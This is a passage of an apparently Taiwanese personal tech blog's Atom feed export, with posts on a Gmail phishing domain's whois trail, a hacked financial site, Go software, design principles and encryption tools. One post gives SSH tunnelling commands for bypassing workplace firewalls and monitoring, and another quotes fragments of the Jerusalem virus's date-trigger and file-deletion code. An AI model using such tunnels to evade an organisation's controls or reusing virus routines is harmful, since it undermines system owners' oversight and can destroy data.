top.js.OpenExtLink(window,event,this)\&quot; href\u003d\&quot;http://device-giant.com.tw\&quot; target\u003d_blank\u003edevice-giant.com.tw\u003c/a\u003e\u003cbr /\u003e\nRegistrant:\u003cbr /\u003e\n蝡讠�隞閗隞賣����\u003cbr /\u003e\n \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp;Device-giant Co.,Ltd\u003cbr /\u003e\n5F-1,No. 161,Sung Teh Road Taipei Taiwan\u003cbr /\u003e\n\u003cbr /\u003e\n \u0026nbsp; Contact:\u003cbr /\u003e\n \u0026nbsp; \u0026nbsp; \u0026nbsp;John Lin \u0026nbsp; \u003ca onclick\u003d\&quot;return top.js.OpenExtLink(window,event,this)\&quot; href\u003d\&quot;mailto:john@device-giant.com.tw\&quot;\u003ejohn@device-giant.com.tw\u003c/a\u003e\u003cbr /\u003e\n \u0026nbsp; \u0026nbsp; \u0026nbsp;TEL: \u0026nbsp;23463210\u003cbr /\u003e\n \u0026nbsp; \u0026nbsp; \u0026nbsp;FAX: \u0026nbsp;27593009\u003cbr /\u003e\n\u003cbr /\u003e\n \u0026nbsp; Record expires on 2008-11-14 (YYYY-MM-DD)\u003cbr /\u003e\n \u0026nbsp; Record created on 2000-08-30 (YYYY-MM-DD)\u003cbr /\u003e&quot;,1] );  //--&gt;&lt;/script&gt;&lt;br /&gt;經過查詢，&lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;http://googleaccounts-login.dynalias.com/&quot; target=&quot;_blank&quot;&gt;googleaccounts-login.dynalias&lt;wbr&gt;.com&lt;/a&gt; 的 IP 為 &lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;http://211.22.79.234/&quot; target=&quot;_blank&quot;&gt;211.22.79.234&lt;/a&gt; 底下為 whois 資訊：&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Li Wai Sh Co., Ltd.&lt;br /&gt;&lt;br /&gt;  Netname: LI-WAI-SH-CO-E4-NET&lt;br /&gt;  Netblock: &lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;http://211.22.79.232/29&quot; target=&quot;_blank&quot;&gt;211.22.79.232/29&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;  Administrator contact:&lt;br /&gt;     &lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;mailto:hn84050286@hn.hinet.net&quot;&gt;hn84050286@hn.hinet.net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;  Technical contact:&lt;br /&gt;     &lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;mailto:hn84050286@hn.hinet.net&quot;&gt;hn84050286@hn.hinet.net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;此應為 立瑋仕公司(&lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;http://www.device-giant.com.tw/&quot; target=&quot;_blank&quot;&gt;http://www.device-giant.com.tw&lt;wbr&gt;/&lt;/a&gt;) 所有之 IP 範圍，已被駭客利用來作釣魚網站及攻擊跳板。&lt;br /&gt;&lt;br /&gt;&lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;http://www.device-giant.com.tw/&quot; target=&quot;_blank&quot;&gt;www.device-giant.com.tw&lt;/a&gt; 的 whois 資訊為：&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Domain Name: &lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;http://device-giant.com.tw/&quot; target=&quot;_blank&quot;&gt;device-giant.com.tw&lt;/a&gt;&lt;br /&gt;Registrant:&lt;br /&gt;蝡讠�隞閗隞賣����&lt;br /&gt;                   Device-giant Co.,Ltd&lt;br /&gt;5F-1,No. 161,Sung Teh Road Taipei Taiwan&lt;br /&gt;&lt;br /&gt;  Contact:&lt;br /&gt;     John Lin   &lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;mailto:john@device-giant.com.tw&quot;&gt;john@device-giant.com.tw&lt;/a&gt;&lt;br /&gt;     TEL:  23463210&lt;br /&gt;     FAX:  27593009&lt;br /&gt;&lt;br /&gt;  Record expires on 2008-11-14 (YYYY-MM-DD)&lt;br /&gt;  Record created on 2000-08-30 (YYYY-MM-DD)&lt;br /&gt;&lt;script&gt;&lt;!-- D([&quot;mb&quot;,&quot;\n\u003cbr /\u003e\n \u0026nbsp; Domain servers in listed order:\u003cbr /\u003e\n \u0026nbsp; \u0026nbsp; \u0026nbsp;\u003ca onclick\u003d\&quot;return top.js.OpenExtLink(window,event,this)\&quot; href\u003d\&quot;http://device-giant.com.tw\&quot; target\u003d_blank\u003edevice-giant.com.tw\u003c/a\u003e \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u003ca onclick\u003d\&quot;return top.js.OpenExtLink(window,event,this)\&quot; href\u003d\&quot;http://211.22.79.234\&quot; target\u003d_blank\u003e211.22.79.234\u003c/a\u003e\u003cbr /\u003e\n \u0026nbsp; \u0026nbsp; \u0026nbsp;\u003ca onclick\u003d\&quot;return top.js.OpenExtLink(window,event,this)\&quot; href\u003d\&quot;http://ntweb.device-giant.com.tw\&quot; target\u003d_blank\u003entweb.device-giant.com.tw\u003c/a\u003e \u0026nbsp; \u0026nbsp; \u0026nbsp; \u003ca onclick\u003d\&quot;return top.js.OpenExtLink(window,event,this)\&quot; href\u003d\&quot;http://211.22.79.234\&quot; target\u003d_blank\u003e211.22.79.234\u003c/a\u003e\u003cbr /\u003e\n\u003c/div\u003e&quot;,0] );  //--&gt;&lt;/script&gt;&lt;br /&gt;  Domain servers in listed order:&lt;br /&gt;     &lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;http://device-giant.com.tw/&quot; target=&quot;_blank&quot;&gt;device-giant.com.tw&lt;/a&gt;             &lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;http://211.22.79.234/&quot; target=&quot;_blank&quot;&gt;211.22.79.234&lt;/a&gt;&lt;br /&gt;     &lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;http://ntweb.device-giant.com.tw/&quot; target=&quot;_blank&quot;&gt;ntweb.device-giant.com.tw&lt;/a&gt;       &lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;http://211.22.79.234/&quot; target=&quot;_blank&quot;&gt;211.22.79.234&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/7427786818096774750/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/7427786818096774750' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/7427786818096774750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/7427786818096774750'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2008/03/gmail.html' title='Gmail 釣魚網站'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-2657486070440359391</id><published>2006-03-12T19:51:00.002+08:00</published><updated>2009-02-03T23:22:43.771+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="feeling"/><title type='text'>CGoban</title><content type='html'>最近對圍棋特別感興趣，有點時間就上網找人廝殺，不過都是被別人殺得一踏糊塗。&lt;br /&gt;我使用 Java 版的 &lt;a href=&quot;http://kgs.kiseido.com/en_US/download.xhtml&quot;&gt;CGoban2&lt;/a&gt;下網路圍棋。至於象棋，我都跑去 &lt;a href=&quot;http://ptt.cc/&quot;&gt;PTT&lt;/a&gt;下棋，不過好像沒有像 CGoban2 這麼好用又跨平台的軟體。&lt;br /&gt;底下是我看別人下圍棋時的快照：&lt;br /&gt;&lt;br /&gt;&lt;img style=&quot;width: 420px; height: 383px;&quot; alt=&quot;kgs.png&quot; src=&quot;http://blog.linux.org.tw/%7Etimhsu/archives/images/kgs.png&quot; border=&quot;0&quot; /&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/2657486070440359391/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/2657486070440359391' title='2 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/2657486070440359391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/2657486070440359391'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2006/03/cgoban_7724.html' title='CGoban'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-4059063334648075900</id><published>2006-03-08T00:44:00.002+08:00</published><updated>2009-02-03T15:17:48.464+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="feeling"/><title type='text'>X 的設計原則</title><content type='html'>無意見看到 Wikipedia 對於 X 設計的原則描述，茲引言如下：&lt;br/&gt;&lt;hr&gt;&lt;br/&gt;&lt;br/&gt;1984年，Bob Scheifler和Jim Gettys制訂了X的早期原則：&lt;br/&gt;* 除非沒有它就無法完成一個真正完整的應用程式，否則不用增加新的功能。&lt;br/&gt;* 決定一個系統不是什麼和決定它是什麼同樣重要。與其去適應整個世界的需要，寧可使得系統可以擴展，這樣可以用上層相容的方式來滿足新增需求&lt;br/&gt;* 只有根本沒有實例才會比只有一個實例更糟。&lt;br/&gt;* 如果問題沒有完全弄懂，可能最好根本就不要去解決它&lt;br/&gt;* 如果預期要用百分之90的努力去完成百分之10的工作，應該用更簡單的辦法解決。 (參見更糟就是更好。)&lt;br/&gt;* 盡量避免複雜性。&lt;br/&gt;* 提供機制而不是策略。實踐中把用戶界面策略放在用戶手裡。&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;第一條原則在設計X11時修改為：「除非制訂有真實的應用程序需要，否則不用增加新功能。」 X基本上一直遵循這些原則。參考實現是從擴展和改進的著手來進行開發，同時和1987年的最初的協議幾乎保持完全相容。&lt;br/&gt;&lt;hr&gt;&lt;br/&gt;&lt;br/&gt;上文提及的&lt;a href=&quot;http://en.wikipedia.org/wiki/Worse_is_better&quot;&gt;更糟就是更好&lt;/a&gt;，中文維基百科裡還沒有中譯。當然除了 X 外，也一定會想到 &lt;a href=&quot;http://en.wikipedia.org/wiki/Unix_philosophy&quot;&gt;UNIX 的設計哲學&lt;/a&gt;:&lt;br/&gt;&lt;br/&gt;1. Small is beautiful.&lt;br/&gt;2. Make each program do one thing well.&lt;br/&gt;3. Build a prototype as soon as possible.&lt;br/&gt;4. Choose portability over efficiency.&lt;br/&gt;5. Store data in flat text files.&lt;br/&gt;6. Use software leverage to your advantage.&lt;br/&gt;7. Use shell scripts to increase leverage and portability.&lt;br/&gt;8. Avoid captive user interfaces.&lt;br/&gt;9. Make every program a filter.&lt;br/&gt;&lt;br/&gt;基本上，以上提及的設計原則，都離不開「簡單就是美」的哲學。說來慚愧，寫程式多年至今，還未能接觸到大型且複雜的程式，更沒有能力與機會參與設計龐大的軟體架構。只靠賣弄些程式技巧，雖足以過活，但心裡知道，若要實現一些想法，還有一大段功夫要磨練。&lt;br/&gt;&lt;br/&gt;好好思索，好好反省，我所寫過的程式是不是稱得上「美」呢？ 唉。&lt;br/&gt;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/4059063334648075900/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/4059063334648075900' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/4059063334648075900'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/4059063334648075900'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2006/03/x_07.html' title='X 的設計原則'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-4556964109400599987</id><published>2006-03-06T23:26:00.002+08:00</published><updated>2009-02-03T15:17:48.464+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="feeling"/><title type='text'>資安展遊記</title><content type='html'>上週的「台北國際資訊安全科技展」，算是台灣資安界年度大拜拜。趁著這個機會，我也逛了許多廠商的攤位，為的是了解資安設備發展的方向。&lt;br/&gt;&lt;br/&gt;1. Novell 攤位上只有一位好心的小姐在介紹，雖然她熱心的想提供 SuSE Linux 上課折價卷，但是我真的不需要啊。如果有人想上課考 NCLP，請參考 CdChen 的 &lt;a href=&quot;http://www.cdchen.idv.tw/post/421&quot;&gt;恆逸將開辦 NCLP 課程&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;2. 諮安科技的線上弱點掃瞄服務( !Patrol SNAP online)，嗯，很好，不過我情願用 &lt;a href=&quot;http://www.nessus.org&quot;&gt;Nessus&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;3. 我在 openfind 攤位上告訴一位美麗的小姐，mail2000 系列許多政府和學校使用，十分有名氣，可說是國內少數成功的商業 webmail。當然，就被贈送了免費使用半年的 mail2000 帳號。&lt;br/&gt;&lt;br/&gt;4. 力麗科技的 Message Server 50，多功能郵件伺服器。這應該是 mail2000 競爭產品，不過，防垃圾郵件、防病毒郵件就算了，為何要加上個防駭客攻擊呢？答案是，可以防駭客 DoS 攻擊。帥吧。&lt;br/&gt;&lt;br/&gt;5. 看到一個號稱全球唯一可側錄 skype 語音通話內容以及文字聊天內容的超強系統。陶華科技代理的 MIS Keeper - 資訊稽核管理系統。哇！一看就被嚇到吧，不過當業務談到要在使用者電腦上裝管理軟體時，我腦裡想的盡是如何移除該「類 rootkit 的 spyware」。&lt;br/&gt;&lt;br/&gt;6. 8e6 的網路安全行為管理系統。喔，又是一個監控員工上網行為的設備。不過，我倒對封鎖 spyware 軟體封包和防詐騙網站、惡意程式碼攻擊等較感興趣。號稱有分門別類的 URL 強大資料庫，並且會定時掃瞄所有大型網頁來作資料庫，提供比對，以封鎖釣魚網站。&lt;br/&gt;&lt;br/&gt;當然，還有許多優秀的產品，我就不一一細說。只是有種感覺，那就是網路安全管理和內容安全管理已經開始作到爛了，大部份產品的定位都在企業應用上，都在幫企業想如何控管員工上網行為，如何讓員工的電腦更受保護。&lt;br/&gt;&lt;br/&gt;能讓電腦或網路更安全的設備，大家都樂意接受，一旦要被約束、被管理、甚至被監視，那就是千百個不願意了。如果像電影「全民公敵」那樣，說過的每句話，做過的每件事，去過那裡，吃過什麼鳥蛋，喝過什麼鳥咖啡都被他人記錄並檢閱，你如何開心的上班，歡欣的把工作完成呢？在怎麼爽，也是公司的 MIS 和老闆互相在爽而已啊！&lt;br/&gt;&lt;br/&gt;是不是要多為更多的 End Users 著想？ 人們用電腦上網，圖的是方便和私密，大家已經受夠了為了病毒，要被迫裝上醜不拉嘰的防毒軟體，還要隔一段時間就 Windows Update 一下，好補補 Windows 的破窗。現在，人們還要面對正版後門監控軟體，「類 rootkit 的  spyware」，對於手無寸鐵只會下載 A 片的員工們，只有被張開嘴等著宰殺的份。你可能不知道自己電腦已被植入這類的「間諜軟體」，或著你明明知道，就無法移除它。它就那麼可惡的從「間諜」化身成「稽核」。不就是上個網看看色情圖片、傳傳打情罵俏的 MSN 訊息，抱怨一下上司的豬頭，有這麼嚴重到要剝奪那麼一點的隱私和樂趣嗎？&lt;br/&gt;&lt;br/&gt;算了算了，來吧，大家來改用 Linux，練習一下 ssh/http tunnel、GPG 加密郵件、Gaim-encryption 加密通訊內容吧。至於什麼都不懂的人們，就只好學習「忍」了。&lt;br/&gt;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/4556964109400599987/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/4556964109400599987' title='3 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/4556964109400599987'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/4556964109400599987'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2006/03/blog-post_06.html' title='資安展遊記'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-4197093025011264626</id><published>2006-02-18T03:48:00.002+08:00</published><updated>2009-02-03T15:17:48.464+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><title type='text'>SSH TCP FORWARDING</title><content type='html'>有些公司或機關會試著用一些防火牆和監控設備，來對公司內部同仁上網作加以控管。最常見的例子就是對 IM (MSN/Yahoo!)等作記錄或限制。如果防火牆有開放 ssh 連線，或是沒有對 HTTP Protocol 作查核，那就可以試著用 ssh 的 tcp-forwarding 來建立加密連線(secure tunnel)。&lt;br/&gt;&lt;br/&gt;(公司外部 Server: proxy.nosuchserver.org)&lt;br/&gt;1. 先架好 Proxy，例如可以 bind 在 3128 Port.&lt;br/&gt;2. 設好 Firewall 規則，只開放 localhost 連線:&lt;br/&gt;iptables -A INPUT -p tcp -s ! 127.0.0.1 --dport 3128 -j DROP&lt;br/&gt;3. 加個帳號叫 tunnel&lt;br/&gt;&lt;br/&gt;(公司內部 Linux: 192.168.1.10)&lt;br/&gt;1. 用 ssh 登入 proxy.nosuchserver.org&lt;br/&gt;ssh -L 8080:127.0.0.1:3128 tunnel@proxy.nosuchserver.org&lt;br/&gt;2. 此時可以將 MSN 或 WWW-Browser 的 proxy 設定指向 127.0.0.1:8080&lt;br/&gt;3. 利用此 tunnel 即可對外加密連線&lt;br/&gt;&lt;br/&gt;如果你想讓公司內其它同事共享此 proxy，則可以利用新版 ssh 的功能:&lt;br/&gt;&lt;br/&gt;ssh -L 192.168.1.10:8080:127.0.0.1:3128 tunnel@proxy.nosuchserver.org&lt;br/&gt;&lt;br/&gt;那麼大夥通通把 proxy 設定指向 192.168.1.10:8080 即可。&lt;br/&gt;&lt;br/&gt;如果對外沒開放 port 22，那就只好試著讓 Server 上的 sshd 聽 port 80 或其它開放的 port 囉。&lt;br/&gt;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/4197093025011264626/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/4197093025011264626' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/4197093025011264626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/4197093025011264626'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2006/02/ssh-tcp-forwarding_2916.html' title='SSH TCP FORWARDING'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-2181146823295250330</id><published>2006-02-15T01:31:00.002+08:00</published><updated>2009-02-03T15:17:48.465+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><title type='text'>某金控網站被入侵</title><content type='html'>今天下午某位朋友告訴我，當他連上某國內知名金控網站時，防毒軟體發出了警告。該網站的首頁疑似被加入了一行不顯示的 iframe 連結。順著該連結到另一個公司的網站，就會啟動一個惡意的 Javascript，而此 script 的動作則是執行一個植入後門的程序。&lt;br/&gt;想看此惡意 javascript 原貌? 看看 &lt;a href=&quot;http://forum.icst.org.tw/phpBB2/viewtopic.php?p=18031&amp;&quot;&gt;ICST&lt;/a&gt;上的相關討論吧。&lt;br/&gt;顯然，至少有兩家公司被入侵，網頁內容遭駭客篡改。但被植入惡意 Javascript 的網站，也許已經讓許多的使用者電腦中了後門。&lt;br/&gt;&lt;br/&gt;害怕了嗎？還不快把 MS-IE 換掉！&lt;br/&gt;&lt;br/&gt;至於被植入的後門，經過 Birdman 大師的 Archon 惡意軟體掃瞄，其結果如下圖：&lt;br/&gt;&lt;br/&gt;&lt;img alt=&quot;fubon_rootkit.JPG&quot; src=&quot;http://blog.linux.org.tw/~timhsu/archives/images/fubon_rootkit.JPG&quot; width=&quot;1032&quot; height=&quot;951&quot; border=&quot;0&quot; /&gt;&lt;br/&gt;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/2181146823295250330/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/2181146823295250330' title='2 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/2181146823295250330'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/2181146823295250330'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2006/02/blog-post_14.html' title='某金控網站被入侵'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-2119084843169332024</id><published>2006-01-14T00:48:00.002+08:00</published><updated>2009-02-03T15:17:48.465+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="feeling"/><title type='text'>十三號星期五</title><content type='html'>今天的日子，總會令我不禁想起年少時狂熱追求電腦病毒技術的時代。&lt;br/&gt;從 (c) Brian 到 Jerusalem 的泛濫，恰是我從 GW-BASIC 往 Assembly 學習的時間。&lt;a href=&quot;http://www.flag.com.tw&quot;&gt;旗標&lt;/a&gt;早期出版的 DOS 技術手冊、組合語言、組合語言程式設計實例、電腦病毒徹底研究等，都是我國中和高中時不可或缺的精神食糧。&lt;br/&gt;印象中，黃瑞強先生有段時間在第三波雜誌開了個專欄，剖析各種電腦病毒，以及最新的病毒技術。諸如，病毒產生器、多形病毒、變體引擎、伴隨型病毒等。當然，這也是當時我最愛的雜誌專欄。&lt;br/&gt;回憶就此打住！就來看看當年十三號星期五發作的 Jerusalem，倒底是長得什麼模樣?&lt;br/&gt;從&lt;a href=&quot;http://totallygeek.com/vscdb/j/jerusalm_asm.php&quot;&gt;Jerusalem 病毒原始碼&lt;/a&gt;可以看到一開頭就有個熟悉的字串 &quot;sUMsDos&quot;！&lt;br/&gt;底下程式片段是利用 int 21h 取得日期，判斷是否為十三號星期五，若是，就把 b000E 設為 1，代表病毒發作日。&lt;br/&gt;&lt;code&gt;&lt;br/&gt;mov     ah,2Ah&lt;br/&gt;int     21h		;  get date, cx=year, dx=mon/day&lt;br/&gt;mov     cs:[b000E],0&lt;br/&gt;cmp     cx,7C3h&lt;br/&gt;je      loc_6&lt;br/&gt;cmp     al,5&lt;br/&gt;jne     loc_5&lt;br/&gt;cmp     dl,0Dh&lt;br/&gt;jne     loc_5&lt;br/&gt;inc     cs:[b000E]&lt;br/&gt;&lt;/code&gt;&lt;br/&gt;接著，病毒常駐到記憶體後，當使用者欲執行檔案時，遇到發作日，就把該執行檔刪除，若非發作日就感染該執行檔。底下的 loc_12 程式片段就是為了刪除檔案。&lt;br/&gt;&lt;code&gt;&lt;br/&gt;loc_12:&lt;br/&gt;xor     cx,cx&lt;br/&gt;mov     ax,4301h&lt;br/&gt;int     21h	;  get/set file attrb, nam@ds:dx&lt;br/&gt;mov     ah,41h&lt;br/&gt;int     21h	;  delete file, name @ ds:dx&lt;br/&gt;mov     ax,4B00h&lt;br/&gt;popf&lt;br/&gt;jmp     dword ptr cs:[pv21]&lt;br/&gt;loc_13:&lt;br/&gt;cmp     cs:[b000E],1&lt;br/&gt;je      loc_12&lt;br/&gt;&lt;/code&gt;&lt;br/&gt;&lt;br/&gt;程式寫的真美，是不？&lt;br/&gt;&lt;br/&gt;對了，如果看不懂 Jerusalem 程式請勿來信問我，因為我早就忘光 DOS 呼叫和 MZ EXE 了啊。&lt;br/&gt;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/2119084843169332024/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/2119084843169332024' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/2119084843169332024'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/2119084843169332024'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2006/01/blog-post_13.html' title='十三號星期五'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-6458803016016128845</id><published>2005-12-27T07:27:00.002+08:00</published><updated>2009-02-03T15:17:48.466+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><title type='text'>Gaim-Encryption</title><content type='html'>&lt;a href=&quot;http://gaim-encryption.sf.net&quot;&gt;Gaim-Encryption&lt;/a&gt; 是一個 Gaim 通訊加密模組，它利用 Mozilla 的 NSS (Network Security Services) 來提供 RSA 加密。&lt;br/&gt;今天 Nanika 要找人測試 Gaim-Encryption，才想起一年前我曾抽了點空將 Gaim-Encryption zh_TW.po 翻譯好。&lt;br/&gt;連上官方網站才發現 &lt;a href=&quot;http://gaim-encryption.sourceforge.net/i18n.php&quot;&gt;i18n&lt;/a&gt; 網頁上竟把中文放在第一行，而 &lt;a href=&quot;http://gaim-encryption.sourceforge.net/i18nstats.php&quot;&gt;進度統計&lt;/a&gt; 卻是將 zh_TW.po 排在最後。這讓偷懶了一年的我看了真有點汗顏。於是，馬上就抽空下載了 Gaim-Encryption 3.0beta2 並試著更新 zh_TW.po。&lt;br/&gt;此外，我也順便下載了 Gaim 2.0beta1，果然高級啊，可以看得到 MSN 小動畫了哩。真讚！&lt;br/&gt;經過一番努力，已把 zh_TW.po  更新並送至 mailing-list了。希望可以順利在 Gaim-Encryption 3.0 Release 時看到中文化的成果囉。&lt;br/&gt;&lt;br/&gt;如果你怕你的 MSN 訊息被監聽，或是怕被監控記錄，請愛用 Gaim-Encryption 吧！&lt;br/&gt;&lt;br/&gt;BTW, 我是用 &lt;a href=&quot;http://gtranslator.sourceforge.net/&quot;&gt;gtranslator&lt;/a&gt; 這套工具處理 po 檔的。&lt;br/&gt;&lt;br/&gt;註：Gaim-Encryption i18n 統計其實是用開頭字母順序排的啦！ :-)&lt;br/&gt;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/6458803016016128845/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/6458803016016128845' title='2 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/6458803016016128845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/6458803016016128845'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2005/12/gaim-encryption_3602.html' title='Gaim-Encryption'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-1036202189614887895</id><published>2005-12-08T00:10:00.002+08:00</published><updated>2009-02-03T15:17:48.466+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><title type='text'>Enigmail OpenPGP</title><content type='html'>自從下定決心開始要來使用 OpenPGP 後，我花了幾乎一整個下午在處理 Thunderbird Enigmail。&lt;br/&gt;&lt;br/&gt;當然，我不會錯過用 urpmi 工具來輕鬆安裝 enigmail，只要敲入 urpmi enigmail，相關套件就裝好了。只不過，重新啟動 Thunderbird 後，Enigmail 並不能正確的運作。幾乎所有 Enigmail 相關的功能，全數不能使用。&lt;br/&gt;&lt;br/&gt;然後就不斷的從 google 裡找答案，試了好幾次的移除(rpm -e) 和安裝(urpmi)。即使，試著直接從 Enigmail 的網站 &lt;a 